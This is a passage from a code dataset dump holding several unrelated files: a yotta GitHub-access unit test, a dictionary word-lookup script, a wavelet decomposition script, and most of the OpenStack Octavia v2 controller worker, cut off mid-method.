'c53aadbd89caefdcadb0d43d18ef863e1d9cbcf4'\n\ndef ensureGithubConfig():\n # ensure we have authentication for the test github account\n if not settings.getProperty('github', 'authtoken'):\n settings.setProperty('github', 'authtoken', Test_Access_Token)\n\n\nclass TestGitHubAccess(unittest.TestCase):\n def setUp(self):\n ensureGithubConfig()\n \n def tearDown(self):\n pass\n\n def test_installDeps(self):\n Args = namedtuple('Args', ['component', 'target', 'act_globally', 'install_linked', 'save', 'save_target'])\n install.installComponent(Args(Test_Deps_Name, Test_Deps_Target, False, False, False, False))\n\n\nif __name__ == '__main__':\n unittest.main()\n\n\n","sub_path":"yotta/test/github_access.py","file_name":"github_access.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"96438016","text":"file = open('engmix.txt')\nword = input('Enter a word: ')\n\nend = 0\nfor line in file:\n if word == line.strip():\n print(word, 'is in the dictionary')\n end+=1\n break\n\nif end == 0:\n print(word, 'is not in the dictionary')","sub_path":"askWord.py","file_name":"askWord.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"402453238","text":"import pywt\r\nimport matplotlib.pyplot as plt\r\n\r\n\"\"\"\r\nmode = ['zero', 'constant', 'symmetric', 'reflect', 'periodic', 'smooth', 'periodization']\r\n\"\"\"\r\n\r\n\r\ndef waveletdec(signal, coef_type='d', wname='sym7', level=7, mode='symmetric'):\r\n N = len(signal)\r\n w = pywt.Wavelet(wname)\r\n a = signal\r\n ca = []\r\n cd = []\r\n for i in range(level):\r\n (a, d) = pywt.dwt(a, w, mode)\r\n ca.append(a)\r\n cd.append(d)\r\n rec_a = []\r\n rec_d = []\r\n for i, coeff in enumerate(ca):\r\n coeff_list = [coeff, None] + [None] * i\r\n rec_a.append(pywt.waverec(coeff_list, w)[0:N])\r\n for i, coeff in enumerate(cd):\r\n coeff_list = [None, coeff] + [None] * i\r\n rec_d.append(pywt.waverec(coeff_list, w)[0:N])\r\n if coef_type == 'd':\r\n return rec_d\r\n return rec_a\r\n\r\n\r\nif __name__ == \"__main__\":\r\n plt.rcParams['font.sans-serif'] = ['SimHei']\r\n plt.rcParams['axes.unicode_minus'] = False\r\n s = [0, 1, 2, 3, 4, 5, 6, 7, 8]\r\n d = waveletdec(s, 'd', 'sym3', 3)\r\n a = waveletdec(s, 'a', 'sym3', 3)\r\n plt.subplot(3, 1, 1)\r\n plt.plot(s)\r\n plt.title('data')\r\n plt.subplot(3, 1, 2)\r\n r = d[0] + d[1] + d[2] + a[2]\r\n plt.plot(r)\r\n plt.title('rec data')\r\n plt.subplot(3, 1, 3)\r\n plt.plot(s - r)\r\n plt.title('error')\r\n plt.show()\r\n","sub_path":"test3_wl.py","file_name":"test3_wl.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"406066733","text":"# Copyright 2015 Hewlett-Packard Development Company, L.P.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\nfrom oslo_config import cfg\nfrom oslo_log import log as logging\nfrom oslo_utils import excutils\nfrom sqlalchemy.orm import exc as db_exceptions\nfrom stevedore import driver as stevedore_driver\nimport tenacity\n\nfrom octavia.api.drivers import utils as provider_utils\nfrom octavia.common import base_taskflow\nfrom octavia.common import constants\nfrom octavia.controller.worker.v2.flows import flow_utils\nfrom octavia.controller.worker.v2 import taskflow_jobboard_driver as tsk_driver\nfrom octavia.db import api as db_apis\nfrom octavia.db import repositories as repo\n\nCONF = cfg.CONF\nLOG = logging.getLogger(__name__)\n\nRETRY_ATTEMPTS = 15\nRETRY_INITIAL_DELAY = 1\nRETRY_BACKOFF = 1\nRETRY_MAX = 5\n\n\ndef _is_provisioning_status_pending_update(lb_obj):\n return not lb_obj.provisioning_status == constants.PENDING_UPDATE\n\n\nclass ControllerWorker(object):\n\n def __init__(self):\n\n self._amphora_repo = repo.AmphoraRepository()\n self._amphora_health_repo = repo.AmphoraHealthRepository()\n self._health_mon_repo = repo.HealthMonitorRepository()\n self._lb_repo = repo.LoadBalancerRepository()\n self._listener_repo = repo.ListenerRepository()\n self._member_repo = repo.MemberRepository()\n self._pool_repo = repo.PoolRepository()\n self._l7policy_repo = repo.L7PolicyRepository()\n self._l7rule_repo = repo.L7RuleRepository()\n self._flavor_repo = repo.FlavorRepository()\n self._az_repo = repo.AvailabilityZoneRepository()\n\n persistence = tsk_driver.MysqlPersistenceDriver()\n\n self.jobboard_driver = stevedore_driver.DriverManager(\n namespace='octavia.worker.jobboard_driver',\n name=CONF.task_flow.jobboard_backend_driver,\n invoke_args=(persistence,),\n invoke_on_load=True).driver\n\n @tenacity.retry(\n retry=(\n tenacity.retry_if_result(_is_provisioning_status_pending_update) |\n tenacity.retry_if_exception_type()),\n wait=tenacity.wait_incrementing(\n RETRY_INITIAL_DELAY, RETRY_BACKOFF, RETRY_MAX),\n stop=tenacity.stop_after_attempt(RETRY_ATTEMPTS))\n def _get_db_obj_until_pending_update(self, repo, id):\n\n return repo.get(db_apis.get_session(), id=id)\n\n @property\n def services_controller(self):\n return base_taskflow.TaskFlowServiceController(self.jobboard_driver)\n\n def create_amphora(self, availability_zone=None):\n \"\"\"Creates an Amphora.\n\n This is used to create spare amphora.\n\n :returns: uuid\n \"\"\"\n try:\n store = {constants.BUILD_TYPE_PRIORITY:\n constants.LB_CREATE_SPARES_POOL_PRIORITY,\n constants.FLAVOR: None,\n constants.AVAILABILITY_ZONE: None}\n if availability_zone:\n store[constants.AVAILABILITY_ZONE] = (\n self._az_repo.get_availability_zone_metadata_dict(\n db_apis.get_session(), availability_zone))\n job_id = self.services_controller.run_poster(\n flow_utils.get_create_amphora_flow,\n store=store, wait=True)\n\n return job_id\n except Exception as e:\n LOG.error('Failed to create an amphora due to: {}'.format(str(e)))\n\n def delete_amphora(self, amphora_id):\n \"\"\"Deletes an existing Amphora.\n\n :param amphora_id: ID of the amphora to delete\n :returns: None\n :raises AmphoraNotFound: The referenced Amphora was not found\n \"\"\"\n amphora = self._amphora_repo.get(db_apis.get_session(),\n id=amphora_id)\n store = {constants.AMPHORA: amphora.to_dict()}\n self.services_controller.run_poster(\n flow_utils.get_delete_amphora_flow,\n store=store)\n\n @tenacity.retry(\n retry=tenacity.retry_if_exception_type(db_exceptions.NoResultFound),\n wait=tenacity.wait_incrementing(\n RETRY_INITIAL_DELAY, RETRY_BACKOFF, RETRY_MAX),\n stop=tenacity.stop_after_attempt(RETRY_ATTEMPTS))\n def create_health_monitor(self, health_monitor):\n \"\"\"Creates a health monitor.\n\n :param health_monitor: Provider health monitor dict\n :returns: None\n :raises NoResultFound: Unable to find the object\n \"\"\"\n db_health_monitor = self._health_mon_repo.get(\n db_apis.get_session(),\n id=health_monitor[constants.HEALTHMONITOR_ID])\n\n pool = db_health_monitor.pool\n pool.health_monitor = db_health_monitor\n load_balancer = pool.load_balancer\n provider_lb = provider_utils.db_loadbalancer_to_provider_loadbalancer(\n load_balancer).to_dict()\n\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n pool.listeners))\n\n store = {constants.HEALTH_MON: health_monitor,\n constants.POOL_ID: pool.id,\n constants.LISTENERS: listeners_dicts,\n constants.LOADBALANCER_ID: load_balancer.id,\n constants.LOADBALANCER: provider_lb}\n self.services_controller.run_poster(\n flow_utils.get_create_health_monitor_flow,\n store=store)\n\n def delete_health_monitor(self, health_monitor):\n \"\"\"Deletes a health monitor.\n\n :param health_monitor: Provider health monitor dict\n :returns: None\n :raises HMNotFound: The referenced health monitor was not found\n \"\"\"\n db_health_monitor = self._health_mon_repo.get(\n db_apis.get_session(),\n id=health_monitor[constants.HEALTHMONITOR_ID])\n\n pool = db_health_monitor.pool\n load_balancer = pool.load_balancer\n provider_lb = provider_utils.db_loadbalancer_to_provider_loadbalancer(\n load_balancer).to_dict()\n\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n pool.listeners))\n\n store = {constants.HEALTH_MON: health_monitor,\n constants.POOL_ID: pool.id,\n constants.LISTENERS: listeners_dicts,\n constants.LOADBALANCER_ID: load_balancer.id,\n constants.LOADBALANCER: provider_lb,\n constants.PROJECT_ID: load_balancer.project_id}\n self.services_controller.run_poster(\n flow_utils.get_delete_health_monitor_flow,\n store=store)\n\n def update_health_monitor(self, original_health_monitor,\n health_monitor_updates):\n \"\"\"Updates a health monitor.\n\n :param original_health_monitor: Provider health monitor dict\n :param health_monitor_updates: Dict containing updated health monitor\n :returns: None\n :raises HMNotFound: The referenced health monitor was not found\n \"\"\"\n try:\n db_health_monitor = self._get_db_obj_until_pending_update(\n self._health_mon_repo,\n original_health_monitor[constants.HEALTHMONITOR_ID])\n except tenacity.RetryError as e:\n LOG.warning('Health monitor did not go into %s in 60 seconds. '\n 'This either due to an in-progress Octavia upgrade '\n 'or an overloaded and failing database. Assuming '\n 'an upgrade is in progress and continuing.',\n constants.PENDING_UPDATE)\n db_health_monitor = e.last_attempt.result()\n\n pool = db_health_monitor.pool\n\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n pool.listeners))\n\n load_balancer = pool.load_balancer\n provider_lb = provider_utils.db_loadbalancer_to_provider_loadbalancer(\n load_balancer).to_dict()\n\n store = {constants.HEALTH_MON: original_health_monitor,\n constants.POOL_ID: pool.id,\n constants.LISTENERS: listeners_dicts,\n constants.LOADBALANCER_ID: load_balancer.id,\n constants.LOADBALANCER: provider_lb,\n constants.UPDATE_DICT: health_monitor_updates}\n self.services_controller.run_poster(\n flow_utils.get_update_health_monitor_flow,\n store=store)\n\n @tenacity.retry(\n retry=tenacity.retry_if_exception_type(db_exceptions.NoResultFound),\n wait=tenacity.wait_incrementing(\n RETRY_INITIAL_DELAY, RETRY_BACKOFF, RETRY_MAX),\n stop=tenacity.stop_after_attempt(RETRY_ATTEMPTS))\n def create_listener(self, listener):\n \"\"\"Creates a listener.\n\n :param listener: A listener provider dictionary.\n :returns: None\n :raises NoResultFound: Unable to find the object\n \"\"\"\n db_listener = self._listener_repo.get(\n db_apis.get_session(), id=listener[constants.LISTENER_ID])\n if not db_listener:\n LOG.warning('Failed to fetch %s %s from DB. Retrying for up to '\n '60 seconds.', 'listener',\n listener[constants.LISTENER_ID])\n raise db_exceptions.NoResultFound\n\n load_balancer = db_listener.load_balancer\n listeners = load_balancer.listeners\n dict_listeners = []\n for li in listeners:\n dict_listeners.append(\n provider_utils.db_listener_to_provider_listener(li).to_dict())\n provider_lb = provider_utils.db_loadbalancer_to_provider_loadbalancer(\n load_balancer).to_dict()\n\n store = {constants.LISTENERS: dict_listeners,\n constants.LOADBALANCER: provider_lb,\n constants.LOADBALANCER_ID: load_balancer.id}\n\n self.services_controller.run_poster(\n flow_utils.get_create_listener_flow,\n store=store)\n\n def delete_listener(self, listener):\n \"\"\"Deletes a listener.\n\n :param listener: A listener provider dictionary to delete\n :returns: None\n :raises ListenerNotFound: The referenced listener was not found\n \"\"\"\n # TODO(johnsom) Remove once the provider data model includes\n # the project ID\n lb = self._lb_repo.get(db_apis.get_session(),\n id=listener[constants.LOADBALANCER_ID])\n store = {constants.LISTENER: listener,\n constants.LOADBALANCER_ID:\n listener[constants.LOADBALANCER_ID],\n constants.PROJECT_ID: lb.project_id}\n self.services_controller.run_poster(\n flow_utils.get_delete_listener_flow,\n store=store)\n\n def update_listener(self, listener, listener_updates):\n \"\"\"Updates a listener.\n\n :param listener: A listener provider dictionary to update\n :param listener_updates: Dict containing updated listener attributes\n :returns: None\n :raises ListenerNotFound: The referenced listener was not found\n \"\"\"\n db_lb = self._lb_repo.get(db_apis.get_session(),\n id=listener[constants.LOADBALANCER_ID])\n store = {constants.LISTENER: listener,\n constants.UPDATE_DICT: listener_updates,\n constants.LOADBALANCER_ID: db_lb.id,\n constants.LISTENERS: [listener]}\n self.services_controller.run_poster(\n flow_utils.get_update_listener_flow,\n store=store)\n\n @tenacity.retry(\n retry=tenacity.retry_if_exception_type(db_exceptions.NoResultFound),\n wait=tenacity.wait_incrementing(\n RETRY_INITIAL_DELAY, RETRY_BACKOFF, RETRY_MAX),\n stop=tenacity.stop_after_attempt(RETRY_ATTEMPTS))\n def create_load_balancer(self, loadbalancer, flavor=None,\n availability_zone=None):\n \"\"\"Creates a load balancer by allocating Amphorae.\n\n First tries to allocate an existing Amphora in READY state.\n If none are available it will attempt to build one specifically\n for this load balancer.\n\n :param loadbalancer: The dict of load balancer to create\n :returns: None\n :raises NoResultFound: Unable to find the object\n \"\"\"\n lb = self._lb_repo.get(db_apis.get_session(),\n id=loadbalancer[constants.LOADBALANCER_ID])\n if not lb:\n LOG.warning('Failed to fetch %s %s from DB. Retrying for up to '\n '60 seconds.', 'load_balancer',\n loadbalancer[constants.LOADBALANCER_ID])\n raise db_exceptions.NoResultFound\n\n # TODO(johnsom) convert this to octavia_lib constant flavor\n # once octavia is transitioned to use octavia_lib\n store = {constants.LOADBALANCER_ID:\n loadbalancer[constants.LOADBALANCER_ID],\n constants.BUILD_TYPE_PRIORITY:\n constants.LB_CREATE_NORMAL_PRIORITY,\n constants.FLAVOR: flavor,\n constants.AVAILABILITY_ZONE: availability_zone}\n\n topology = lb.topology\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n lb.listeners)\n )\n\n store[constants.UPDATE_DICT] = {\n constants.TOPOLOGY: topology\n }\n self.services_controller.run_poster(\n flow_utils.get_create_load_balancer_flow,\n topology, listeners=listeners_dicts,\n store=store)\n\n def delete_load_balancer(self, load_balancer, cascade=False):\n \"\"\"Deletes a load balancer by de-allocating Amphorae.\n\n :param load_balancer: Dict of the load balancer to delete\n :returns: None\n :raises LBNotFound: The referenced load balancer was not found\n \"\"\"\n db_lb = self._lb_repo.get(db_apis.get_session(),\n id=load_balancer[constants.LOADBALANCER_ID])\n store = {constants.LOADBALANCER: load_balancer,\n constants.SERVER_GROUP_ID: db_lb.server_group_id,\n constants.PROJECT_ID: db_lb.project_id}\n if cascade:\n store.update(flow_utils.get_delete_pools_store(db_lb))\n store.update(flow_utils.get_delete_listeners_store(db_lb))\n self.services_controller.run_poster(\n flow_utils.get_cascade_delete_load_balancer_flow,\n load_balancer, store=store)\n else:\n self.services_controller.run_poster(\n flow_utils.get_delete_load_balancer_flow,\n load_balancer, store=store)\n\n def update_load_balancer(self, original_load_balancer,\n load_balancer_updates):\n \"\"\"Updates a load balancer.\n\n :param original_load_balancer: Dict of the load balancer to update\n :param load_balancer_updates: Dict containing updated load balancer\n :returns: None\n :raises LBNotFound: The referenced load balancer was not found\n \"\"\"\n store = {constants.LOADBALANCER: original_load_balancer,\n constants.LOADBALANCER_ID:\n original_load_balancer[constants.LOADBALANCER_ID],\n constants.UPDATE_DICT: load_balancer_updates}\n\n self.services_controller.run_poster(\n flow_utils.get_update_load_balancer_flow,\n store=store)\n\n def create_member(self, member):\n \"\"\"Creates a pool member.\n\n :param member: A member provider dictionary to create\n :returns: None\n :raises NoSuitablePool: Unable to find the node pool\n \"\"\"\n pool = self._pool_repo.get(db_apis.get_session(),\n id=member[constants.POOL_ID])\n load_balancer = pool.load_balancer\n provider_lb = provider_utils.db_loadbalancer_to_provider_loadbalancer(\n load_balancer).to_dict()\n\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n pool.listeners))\n\n store = {\n constants.MEMBER: member,\n constants.LISTENERS: listeners_dicts,\n constants.LOADBALANCER_ID: load_balancer.id,\n constants.LOADBALANCER: provider_lb,\n constants.POOL_ID: pool.id}\n if load_balancer.availability_zone:\n store[constants.AVAILABILITY_ZONE] = (\n self._az_repo.get_availability_zone_metadata_dict(\n db_apis.get_session(), load_balancer.availability_zone))\n else:\n store[constants.AVAILABILITY_ZONE] = {}\n\n self.services_controller.run_poster(\n flow_utils.get_create_member_flow,\n store=store)\n\n def delete_member(self, member):\n \"\"\"Deletes a pool member.\n\n :param member: A member provider dictionary to delete\n :returns: None\n :raises MemberNotFound: The referenced member was not found\n \"\"\"\n pool = self._pool_repo.get(db_apis.get_session(),\n id=member[constants.POOL_ID])\n\n load_balancer = pool.load_balancer\n provider_lb = provider_utils.db_loadbalancer_to_provider_loadbalancer(\n load_balancer).to_dict()\n\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n pool.listeners))\n\n store = {\n constants.MEMBER: member,\n constants.LISTENERS: listeners_dicts,\n constants.LOADBALANCER_ID: load_balancer.id,\n constants.LOADBALANCER: provider_lb,\n constants.POOL_ID: pool.id,\n constants.PROJECT_ID: load_balancer.project_id}\n if load_balancer.availability_zone:\n store[constants.AVAILABILITY_ZONE] = (\n self._az_repo.get_availability_zone_metadata_dict(\n db_apis.get_session(), load_balancer.availability_zone))\n else:\n store[constants.AVAILABILITY_ZONE] = {}\n\n self.services_controller.run_poster(\n flow_utils.get_delete_member_flow,\n store=store)\n\n def batch_update_members(self, old_members, new_members,\n updated_members):\n updated_members = [\n (provider_utils.db_member_to_provider_member(\n self._member_repo.get(db_apis.get_session(),\n id=m.get(constants.ID))).to_dict(),\n m)\n for m in updated_members]\n provider_old_members = [\n provider_utils.db_member_to_provider_member(\n self._member_repo.get(db_apis.get_session(),\n id=m.get(constants.ID))).to_dict()\n for m in old_members]\n if old_members:\n pool = self._pool_repo.get(db_apis.get_session(),\n id=old_members[0][constants.POOL_ID])\n elif new_members:\n pool = self._pool_repo.get(db_apis.get_session(),\n id=new_members[0][constants.POOL_ID])\n else:\n pool = self._pool_repo.get(\n db_apis.get_session(),\n id=updated_members[0][0][constants.POOL_ID])\n load_balancer = pool.load_balancer\n\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n pool.listeners))\n provider_lb = provider_utils.db_loadbalancer_to_provider_loadbalancer(\n load_balancer).to_dict()\n\n store = {\n constants.LISTENERS: listeners_dicts,\n constants.LOADBALANCER_ID: load_balancer.id,\n constants.LOADBALANCER: provider_lb,\n constants.POOL_ID: pool.id,\n constants.PROJECT_ID: load_balancer.project_id}\n if load_balancer.availability_zone:\n store[constants.AVAILABILITY_ZONE] = (\n self._az_repo.get_availability_zone_metadata_dict(\n db_apis.get_session(), load_balancer.availability_zone))\n else:\n store[constants.AVAILABILITY_ZONE] = {}\n\n self.services_controller.run_poster(\n flow_utils.get_batch_update_members_flow,\n provider_old_members, new_members, updated_members,\n store=store)\n\n def update_member(self, member, member_updates):\n \"\"\"Updates a pool member.\n\n :param member_id: A member provider dictionary to update\n :param member_updates: Dict containing updated member attributes\n :returns: None\n :raises MemberNotFound: The referenced member was not found\n \"\"\"\n # TODO(ataraday) when other flows will use dicts - revisit this\n pool = self._pool_repo.get(db_apis.get_session(),\n id=member[constants.POOL_ID])\n load_balancer = pool.load_balancer\n provider_lb = provider_utils.db_loadbalancer_to_provider_loadbalancer(\n load_balancer).to_dict()\n\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n pool.listeners))\n\n store = {\n constants.MEMBER: member,\n constants.LISTENERS: listeners_dicts,\n constants.LOADBALANCER_ID: load_balancer.id,\n constants.LOADBALANCER: provider_lb,\n constants.POOL_ID: pool.id,\n constants.UPDATE_DICT: member_updates}\n if load_balancer.availability_zone:\n store[constants.AVAILABILITY_ZONE] = (\n self._az_repo.get_availability_zone_metadata_dict(\n db_apis.get_session(), load_balancer.availability_zone))\n else:\n store[constants.AVAILABILITY_ZONE] = {}\n\n self.services_controller.run_poster(\n flow_utils.get_update_member_flow,\n store=store)\n\n @tenacity.retry(\n retry=tenacity.retry_if_exception_type(db_exceptions.NoResultFound),\n wait=tenacity.wait_incrementing(\n RETRY_INITIAL_DELAY, RETRY_BACKOFF, RETRY_MAX),\n stop=tenacity.stop_after_attempt(RETRY_ATTEMPTS))\n def create_pool(self, pool):\n \"\"\"Creates a node pool.\n\n :param pool: Provider pool dict to create\n :returns: None\n :raises NoResultFound: Unable to find the object\n \"\"\"\n\n # TODO(ataraday) It seems we need to get db pool here anyway to get\n # proper listeners\n db_pool = self._pool_repo.get(db_apis.get_session(),\n id=pool[constants.POOL_ID])\n if not db_pool:\n LOG.warning('Failed to fetch %s %s from DB. Retrying for up to '\n '60 seconds.', 'pool', pool[constants.POOL_ID])\n raise db_exceptions.NoResultFound\n\n load_balancer = db_pool.load_balancer\n provider_lb = provider_utils.db_loadbalancer_to_provider_loadbalancer(\n load_balancer).to_dict()\n\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n db_pool.listeners))\n\n store = {constants.POOL_ID: pool[constants.POOL_ID],\n constants.LISTENERS: listeners_dicts,\n constants.LOADBALANCER_ID: load_balancer.id,\n constants.LOADBALANCER: provider_lb}\n self.services_controller.run_poster(\n flow_utils.get_create_pool_flow,\n store=store)\n\n def delete_pool(self, pool):\n \"\"\"Deletes a node pool.\n\n :param pool: Provider pool dict to delete\n :returns: None\n :raises PoolNotFound: The referenced pool was not found\n \"\"\"\n db_pool = self._pool_repo.get(db_apis.get_session(),\n id=pool[constants.POOL_ID])\n\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n db_pool.listeners))\n load_balancer = db_pool.load_balancer\n\n provider_lb = provider_utils.db_loadbalancer_to_provider_loadbalancer(\n load_balancer).to_dict()\n\n store = {constants.POOL_ID: pool[constants.POOL_ID],\n constants.LISTENERS: listeners_dicts,\n constants.LOADBALANCER: provider_lb,\n constants.LOADBALANCER_ID: load_balancer.id,\n constants.PROJECT_ID: db_pool.project_id}\n self.services_controller.run_poster(\n flow_utils.get_delete_pool_flow,\n store=store)\n\n def update_pool(self, origin_pool, pool_updates):\n \"\"\"Updates a node pool.\n\n :param origin_pool: Provider pool dict to update\n :param pool_updates: Dict containing updated pool attributes\n :returns: None\n :raises PoolNotFound: The referenced pool was not found\n \"\"\"\n try:\n db_pool = self._get_db_obj_until_pending_update(\n self._pool_repo, origin_pool[constants.POOL_ID])\n except tenacity.RetryError as e:\n LOG.warning('Pool did not go into %s in 60 seconds. '\n 'This either due to an in-progress Octavia upgrade '\n 'or an overloaded and failing database. Assuming '\n 'an upgrade is in progress and continuing.',\n constants.PENDING_UPDATE)\n db_pool = e.last_attempt.result()\n\n load_balancer = db_pool.load_balancer\n provider_lb = provider_utils.db_loadbalancer_to_provider_loadbalancer(\n load_balancer).to_dict()\n\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n db_pool.listeners))\n\n store = {constants.POOL_ID: db_pool.id,\n constants.LISTENERS: listeners_dicts,\n constants.LOADBALANCER: provider_lb,\n constants.LOADBALANCER_ID: load_balancer.id,\n constants.UPDATE_DICT: pool_updates}\n self.services_controller.run_poster(\n flow_utils.get_update_pool_flow,\n store=store)\n\n def create_l7policy(self, l7policy):\n \"\"\"Creates an L7 Policy.\n\n :param l7policy: Provider dict of the l7policy to create\n :returns: None\n :raises NoResultFound: Unable to find the object\n \"\"\"\n db_listener = self._listener_repo.get(\n db_apis.get_session(), id=l7policy[constants.LISTENER_ID])\n\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n [db_listener]))\n\n store = {constants.L7POLICY: l7policy,\n constants.LISTENERS: listeners_dicts,\n constants.LOADBALANCER_ID: db_listener.load_balancer.id\n }\n self.services_controller.run_poster(\n flow_utils.get_create_l7policy_flow,\n store=store)\n\n def delete_l7policy(self, l7policy):\n \"\"\"Deletes an L7 policy.\n\n :param l7policy: Provider dict of the l7policy to delete\n :returns: None\n :raises L7PolicyNotFound: The referenced l7policy was not found\n \"\"\"\n db_listener = self._listener_repo.get(\n db_apis.get_session(), id=l7policy[constants.LISTENER_ID])\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n [db_listener]))\n\n store = {constants.L7POLICY: l7policy,\n constants.LISTENERS: listeners_dicts,\n constants.LOADBALANCER_ID: db_listener.load_balancer.id\n }\n self.services_controller.run_poster(\n flow_utils.get_delete_l7policy_flow,\n store=store)\n\n def update_l7policy(self, original_l7policy, l7policy_updates):\n \"\"\"Updates an L7 policy.\n\n :param l7policy: Provider dict of the l7policy to update\n :param l7policy_updates: Dict containing updated l7policy attributes\n :returns: None\n :raises L7PolicyNotFound: The referenced l7policy was not found\n \"\"\"\n db_listener = self._listener_repo.get(\n db_apis.get_session(), id=original_l7policy[constants.LISTENER_ID])\n\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n [db_listener]))\n\n store = {constants.L7POLICY: original_l7policy,\n constants.LISTENERS: listeners_dicts,\n constants.LOADBALANCER_ID: db_listener.load_balancer.id,\n constants.UPDATE_DICT: l7policy_updates}\n self.services_controller.run_poster(\n flow_utils.get_update_l7policy_flow,\n store=store)\n\n def create_l7rule(self, l7rule):\n \"\"\"Creates an L7 Rule.\n\n :param l7rule: Provider dict l7rule\n :returns: None\n :raises NoResultFound: Unable to find the object\n \"\"\"\n db_l7policy = self._l7policy_repo.get(db_apis.get_session(),\n id=l7rule[constants.L7POLICY_ID])\n\n load_balancer = db_l7policy.listener.load_balancer\n\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n [db_l7policy.listener]))\n l7policy_dict = provider_utils.db_l7policy_to_provider_l7policy(\n db_l7policy)\n\n store = {constants.L7RULE: l7rule,\n constants.L7POLICY: l7policy_dict.to_dict(),\n constants.L7POLICY_ID: db_l7policy.id,\n constants.LISTENERS: listeners_dicts,\n constants.LOADBALANCER_ID: load_balancer.id\n }\n self.services_controller.run_poster(\n flow_utils.get_create_l7rule_flow,\n store=store)\n\n def delete_l7rule(self, l7rule):\n \"\"\"Deletes an L7 rule.\n\n :param l7rule: Provider dict of the l7rule to delete\n :returns: None\n :raises L7RuleNotFound: The referenced l7rule was not found\n \"\"\"\n db_l7policy = self._l7policy_repo.get(db_apis.get_session(),\n id=l7rule[constants.L7POLICY_ID])\n l7policy = provider_utils.db_l7policy_to_provider_l7policy(db_l7policy)\n load_balancer = db_l7policy.listener.load_balancer\n\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n [db_l7policy.listener]))\n\n store = {constants.L7RULE: l7rule,\n constants.L7POLICY: l7policy.to_dict(),\n constants.LISTENERS: listeners_dicts,\n constants.L7POLICY_ID: db_l7policy.id,\n constants.LOADBALANCER_ID: load_balancer.id\n }\n self.services_controller.run_poster(\n flow_utils.get_delete_l7rule_flow,\n store=store)\n\n def update_l7rule(self, original_l7rule, l7rule_updates):\n \"\"\"Updates an L7 rule.\n\n :param l7rule: Origin dict of the l7rule to update\n :param l7rule_updates: Dict containing updated l7rule attributes\n :returns: None\n :raises L7RuleNotFound: The referenced l7rule was not found\n \"\"\"\n db_l7policy = self._l7policy_repo.get(\n db_apis.get_session(), id=original_l7rule[constants.L7POLICY_ID])\n load_balancer = db_l7policy.listener.load_balancer\n\n listeners_dicts = (\n provider_utils.db_listeners_to_provider_dicts_list_of_dicts(\n [db_l7policy.listener]))\n l7policy_dict = provider_utils.db_l7policy_to_provider_l7policy(\n db_l7policy)\n\n store = {constants.L7RULE: original_l7rule,\n constants.L7POLICY: l7policy_dict.to_dict(),\n constants.LISTENERS: listeners_dicts,\n constants.L7POLICY_ID: db_l7policy.id,\n constants.LOADBALANCER_ID: load_balancer.id,\n constants.UPDATE_DICT: l7rule_updates}\n self.services_controller.run_poster(\n flow_utils.get_update_l7rule_flow,\n store=store)\n\n def _perform_amphora_failover(self, amp, priority):\n \"\"\"Internal method to perform failover operations for an amphora.\n\n :param amp: The amphora to failover\n :param priority: The create priority\n :returns: None\n \"\"\"\n stored_params = {constants.FAILED_AMPHORA: amp.to_dict(),\n constants.LOADBALANCER_ID: amp.load_balancer_id,\n constants.BUILD_TYPE_PRIORITY: priority, }\n\n if amp.role in (constants.ROLE_MASTER, constants.ROLE_BACKUP):\n amp_role = 'master_or_backup'\n elif amp.role == constants.ROLE_STANDALONE:\n amp_role = 'standalone'\n elif amp.role is None:\n amp_role = 'spare'\n else:\n amp_role = 'undefined'\n\n LOG.info(\"Perform failover for an amphora: %s\",\n {\"id\": amp.id,\n \"load_balancer_id\": amp.load_balancer_id,\n \"lb_network_ip\": amp.lb_network_ip,\n \"compute_id\": amp.compute_id,\n \"role\": amp_role})\n\n if amp.status == constants.DELETED:\n LOG.warning('Amphora %s is marked DELETED in the database but '\n 'was submitted for failover. Deleting it from the '\n 'amphora health table to exclude it from health '\n 'checks and skipping the failover.', amp.id)\n self._amphora_health_repo.delete(db_apis.get_session(),\n amphora_id=amp.id)\n return\n\n if (CONF.house_keeping.spare_amphora_pool_size == 0) and (\n CONF.nova.enable_anti_affinity is False):\n LOG.warning(\"Failing over amphora with no spares pool may \"\n \"cause delays in failover times while a new \"\n \"amphora instance boots.\")\n\n # if we run with anti-affinity we need to set the server group\n # as well\n lb = self._amphora_repo.get_lb_for_amphora(\n db_apis.get_session(), amp.id)\n provider_lb = provider_utils.db_loadbalancer_to_provider_loadbalancer(\n lb).to_dict() if lb else lb\n if CONF.nova.enable_anti_affinity and lb:\n stored_params[constants.SERVER_GROUP_ID] = lb.server_group_id\n if lb is not None and lb.flavor_id:\n stored_params[constants.FLAVOR] = (\n 